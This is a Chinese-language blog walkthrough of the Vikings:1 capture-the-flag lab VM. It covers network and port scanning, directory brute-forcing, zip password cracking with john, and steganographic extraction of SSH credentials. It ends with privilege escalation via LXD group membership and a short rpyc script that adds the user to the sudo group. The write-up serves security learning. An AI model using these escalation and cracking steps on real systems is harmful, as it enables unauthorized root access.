首页 / 靶机渗透
发表于,更新于

靶机渗透 Viking:1

靶机下载地址
Vikings: 1

外围信息收集

2024-04-08T09:31:41.png
2024-04-08T09:31:56.png

靶机界面

2024-04-08T09:32:14.png

网卡信息

网卡信息说明
网卡模式桥接模式
MAC地址08:00:27:CD:DD:58

主动信息收集

主机发现

udo arp-scan -l

sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:8f:79:1b, IPv4: 10.9.23.16
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.9.23.1       50:6f:77:89:ad:99       HUAWEI TECHNOLOGIES CO.,LTD
10.9.23.21      c0:3e:ba:81:a6:49       Dell Inc.
10.9.23.32      00:e0:4c:28:00:74       REALTEK SEMICONDUCTOR CORP.
10.9.23.33      54:05:db:47:13:1d       LCFC(HeFei) Electronics Technology co., ltd
10.9.23.36      f8:e4:3b:e9:88:42       ASIX Electronics Corporation
10.9.23.37      3c:7c:3f:2d:d9:83       ASUSTek COMPUTER INC.
10.9.23.38      50:eb:f6:59:47:e3       ASUSTek COMPUTER INC.
10.9.23.44      3c:7c:3f:1b:02:ae       ASUSTek COMPUTER INC.
10.9.23.45      68:da:73:aa:bc:2f       (Unknown)
10.9.23.65      00:0c:29:17:c1:67       VMware, Inc.
10.9.23.67      54:05:db:50:f8:c5       LCFC(HeFei) Electronics Technology co., ltd
10.9.23.103     7c:d3:0a:92:2e:f4       INVENTEC CORPORATION
10.9.23.119     00:0c:29:e8:74:0f       VMware, Inc.
10.9.23.123     00:0c:29:9c:bf:20       VMware, Inc.
10.9.23.125     68:da:73:a9:5c:57       (Unknown)
10.9.23.128     00:0c:29:47:ec:96       VMware, Inc.
10.9.23.129     c0:18:50:d1:40:9b       Quanta Computer Inc.
10.9.23.136     00:e0:4c:28:00:64       REALTEK SEMICONDUCTOR CORP.
10.9.23.140     90:2e:16:67:63:d9       LCFC(HeFei) Electronics Technology co., ltd
10.9.23.167     04:7c:16:3c:f3:9d       Micro-Star INTL CO., LTD.
10.9.23.186     74:5d:22:ce:27:2e       (Unknown)
10.9.23.199     54:bf:64:54:bb:69       Dell Inc.
10.9.23.200     98:fa:9b:d9:f1:65       LCFC(HeFei) Electronics Technology co., ltd
10.9.23.201     b4:a9:fc:a3:91:79       Quanta Computer Inc.
10.9.23.203     80:fa:5b:47:85:a0       CLEVO CO.
10.9.23.205     bc:ec:a0:22:89:9d       COMPAL INFORMATION (KUNSHAN) CO., LTD.
10.9.23.209     74:5d:22:cd:e0:8d       (Unknown)
10.9.23.218     f8:75:a4:3d:69:53       LCFC(HeFei) Electronics Technology co., ltd
10.9.23.219     8c:8c:aa:4f:61:b8       LCFC(HeFei) Electronics Technology co., ltd
10.9.23.222     08:00:27:cd:dd:58       PCS Systemtechnik GmbH
10.9.23.223     00:e0:4c:60:05:ad       REALTEK SEMICONDUCTOR CORP.
10.9.23.225     84:a9:38:c7:5f:51       LCFC(HeFei) Electronics Technology co., ltd
10.9.23.226     8c:ec:4b:30:8b:69       Dell Inc.
10.9.23.230     00:0c:29:59:f1:8f       VMware, Inc.
10.9.23.232     7c:8a:e1:50:f4:81       COMPAL INFORMATION (KUNSHAN) CO., LTD.
0.9.23.233     7c:57:58:67:3c:15       HP Inc.
10.9.23.238     00:2b:67:39:76:66       LCFC(HeFei) Electronics Technology co., ltd
10.9.23.254     a0:b3:cc:25:7a:0c       Hewlett Packard

54 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.028 seconds (126.23 hosts/sec). 38 responded

2024-04-08T09:32:32.png
根据MAC地址可以确定靶机IP地址为10.9.23.222

端口扫描

nmap参数说明

参数说明
-A全面扫描,获取更多信息
-p-全端口扫描
-sSSYN半连接扫描(非必须)
-sC--script=default
-T4挂上4档
sudo nmap -A -p- -sS -sC -T4 10.9.23.222


sudo nmap -A -p- -sS -sC -T4 10.9.23.222
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-04 16:38 CST
Nmap scan report for bogon (10.9.23.222)
Host is up (0.00063s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 59d4c0fd6245978315c015b2ac256099 (RSA)
|   256 7e37f011638015a3d39d43c609befbda (ECDSA)
|_  256 52e94f71bc14dc0034f2a7b358b50dce (ED25519)
80/tcp open  http    Apache httpd 2.4.29
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2020-10-29 21:07  site/
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:CD:DD:58 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.4
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.63 ms bogon (10.9.23.222)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.69 seconds

端口详情

PORT(端口)STATE(状态)SERVICE(服务)VERSION(版本)
22opensshOpenSSH 7.6p1
80openhttpApache httpd 2.4.29

网站信息

网站首页

2024-04-08T09:32:51.png
点击site进入新页面
2024-04-08T09:33:01.png
2024-04-08T09:33:10.png

渗透过程

查看网页源代码,并没有发现有用信息

敏感目录扫描

尝试一下敏感目录扫描
使用dirb扫描到了三个目录
2024-04-08T09:33:24.png
访问http://10.9.23.222/site/css/
发现了一些css文件
2024-04-08T09:35:24.png
在webflow.css文件中发现了一串base64编码
2024-04-08T09:35:57.png

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

2024-04-08T09:36:11.png
好像也没有什么用
可能是姿势不对,使用gobuster试一下再次敏感目录扫描
2024-04-08T09:36:23.png
这里发现了一个war.txt进去看看
2024-04-08T09:36:46.png
应该是个目录,访问一下试试
2024-04-08T09:36:57.png
没猜到是个啥,可以尝试下载下来看看
这里卡壳了,看了一下教程
说可能是个文件,下载下来看看
使用file查看文件发现是个压缩包
2024-04-08T09:37:13.png
修改文件名后缀,尝试解压,发现需要密码才能查看
2024-04-08T09:37:24.png

破解压缩包密码

这里了解了一个新工具fcrackzip,fcrack 是kali中自带的压缩包密码破解工具,如果没有,使用下面这条命令安装即可

sudo apt install fcrackzip

很可惜使用这个工具没有爆破出来,可能是我不太会使用这个工具
使用john来破解试试
先将压缩文件的密码信息提取出来
使用命令

zip2john warisover.zip > passwd.txt

然后破解出来一个密码:ragnarok123
2024-04-08T09:37:40.png
使用密码打开发现了一张图片
2024-04-08T09:37:50.png
把图片另存一份,查看一下有没有隐写内容,使用binwalk

图片隐写

2024-04-08T09:38:05.png
还真有,提取出来看看
2024-04-08T09:38:14.png
发现了类似账号密码的内容
//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7
前期信息收集到还开放了22端口,尝试一下进行ssh远程登录

ssh远程登录

用户名:floki
密码:f@m0usboatbuilde7
2024-04-08T09:38:24.png
进来之后灵魂三问
2024-04-08T09:38:35.png
查看当前目录发现了一个readme.txt

_______________________________________________________________________Floki-Creation____________________________________________________________________________________________________


I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
Because it was I who was leading all the Vikings. I need to find him. He can be anywhere. 
I need to create this `boat` to find Ragnar

我是著名的造船师弗洛基。我们竭尽全力袭击了巴黎,但我们失败了。我们不知道战后拉格纳在哪里。他现在很悲伤。我想向他道歉。
因为是我领导着所有的维京人。我要找到他。他可以去任何地方。
我需要造一艘船来找到拉格纳

我们发现当前目录还有一个叫boat的文件

#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)

提权过程

不知道有什么用,先看看能不能sudo提权
2024-04-08T09:38:57.png
发现不行,再试试能不能进行suid提权

find / -perm -u=s -type f 2>/dev/null

2024-04-08T09:39:11.png
2024-04-08T09:39:20.png
这里查询了一些常用的suid提权命令
Linux提权之SUID提权
带有SUID权限位的提权方法
打到现在暂时没有头绪了,需要看网上的教程才能继续了,所以还是沉淀一阵再来搞定他吧

二更

通过一些教程发现id这里有个lxd可以用来提权
2024-04-08T09:41:33.png
先来了解一下lxd吧

LXC和LXD

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。

LXD提权

LXD是Linux系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器(container)、启动等等操作。它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。

通过适当的操作,本地lxd组的用户成员可以理解将自己的权限提升为主机操作系统的root权限。这种特性与该用户是否已被授权sudo权限无关,而且全程也无需用户输入密码。研究人员表示,LXD SNAP包中甚至也存在这样的漏洞。
LXD是一个root进程,它可以负责执行任意用户的LXD UNIX套接字写入访问操作。而且在某些情况下,LXD甚至都不会对调用它的用户权限进行检查和匹配,现在社区也有很多种方法可以利用LXD的这种特性来实施攻击。
其中的一项技术就是使用LXD API来将目标主机的根文件系统加载进一个容器中,而本文讨论的也是这项技术。一旦成功,攻击者就可以将低权限的用户提升为root权限,并且能够在不受任何限制的情况下访问目标系统的各种数据资源。

原理

就是用用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权

尝试提权

方法一

先查看靶机中lxd和lxc的二进制文件是否存在
2024-04-08T09:41:51.png
搜索一下这个漏洞有没有可以利用的脚本
2024-04-08T09:42:02.png
……没有实现完成……待我三更吧

方法二

发现的boat文件中给了提示

#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)

2024-04-08T09:42:14.png

查了一下资料,提示涉及到了第29个素数和collatz猜想

collatz猜想

考拉兹猜想(英语:Collatz conjecture),又称为奇偶归一猜想3n+1猜想冰雹猜想角谷猜想哈塞猜想乌拉姆猜想叙拉古猜想,[[1]](https://zh.wikipedia.org/wiki/%E8%80%83%E6%8B%89%E5%85%B9%E7%8C%9C%E6%83%B3#cite_note-1)是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1。
不是很懂这些,我们直接拾前人牙慧,使用百度的脚本进行分析

# coding:utf-8


# 判断是否是素数
def isPrime(num):
    for i in range(2, num // 2 + 1):
        # 不是素数
        if (num % i) == 0:
            return False

    return True


# 科拉茨猜想
def collatzConjecture(num):
    array = [num]
    while num != 1:
        if num % 2 == 1:
            num = num * 3 + 1
        else:
            num //= 2
        if num < 256:
            array.append(num)
    return array


def Prime():
    cnt = 0
    num = 2
    while True:
        if isPrime(num):
            cnt += 1

        if cnt == 29:
            # 返回第29个素数
            return num

        num += 1


if __name__ == "__main__":
    # 得到第29个素数
    number = Prime()
    # 获取科拉茨猜想列表
    lists = collatzConjecture(number)
    print(*lists)

运行得到结果:
109 164 82 41 124 62 31 94 47 142 71 214 107 161 242 121 182 91 137 206 103 155 233 175 167 251 244 122 61 184 92 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2 1
109 164 82 41 124 62 31 94 47 142 71 214 107 161 242 121 182 91 137 206 103 155 233 175 167 251 244 122 61 184 92 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2 1

2024-04-08T09:42:38.png
boat文件是个ASCII文件,这串数字应该和ASCII码有关系
使用了一款工具解码出来一串字符串
CyberChef/
2024-04-08T09:42:49.png

mR)|>^/Gky[gz=\.F#j5P(

尝试使用这个登录Ragnar账户
2024-04-08T09:43:09.png
登录成功,但是这个登录界面好像和一般的ssh登录界面不太一样
发现了需要在输入一次密码,且使用了sudo权限
2024-04-08T09:43:21.png
查看当前目录下文件发现了flag,查看当前id发现不是root,那么这个flag不是我们的最终目标
学到了一个优化shell的好办法,不知道是不是适用于所有靶机
2024-04-08T09:43:35.png
2024-04-08T09:43:46.png

rpyc提权

使用ssh登录,输入完密码后跳出

[sudo] password for ragnar: 
ragnar is not in the sudoers file.  This incident will be reported.

出现这个提示,是因为加了开机启动项,就和windows一样。但它是sudo即root权限启动的
2024-04-08T09:44:01.png

发现了 sudo python3 /usr/local/bin/rpyc_classic.py
百度一下发现rpyc支持同步和异步操作、回调和远程服务以及透明的对象代理

了解一下rpc(服务端、客户端连接方式等)

https://rpyc.readthedocs.io/en/latest/tutorial/tut1.html

难怪提示要sudo,这个rpyc_classic.py文件,参考rpyc说明文档。简而言之rpyc是用python写的,可以让客户端与服务器进行通信。
通过文档,得知rpyc监听18812端口
服务是开着的
2024-04-08T09:44:17.png
让客户端向服务器发送命令,写一个将ragnar用户加入root组
2024-04-08T09:44:27.png

import rpyc
def shell():
    import os
    os.system("sudo usermod -a -G sudo ragnar")

conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()

2024-04-08T09:44:48.png

运行提权
2024-04-08T09:45:06.png

附一些打靶机过程中参考的文章
https://www.cnblogs.com/sainet/p/15676819.html
https://byesec.com/posts/ae28b72e.html#%E7%B4%A0%E6%95%B0%E6%9F%A5%E6%89%BE-x2F-%E7%A7%91%E6%8B%89%E8%8C%A8%E7%8C%9C%E6%83%B3
https://maidang.cool/2021/43081.html#%E6%8F%90%E6%9D%83

标签: 笔记, 网络安全, 靶机渗透

许可协议

本文作者 , 采用 CC-BY-SA-4.0 许可协议,转载请注明出处。

添加新评论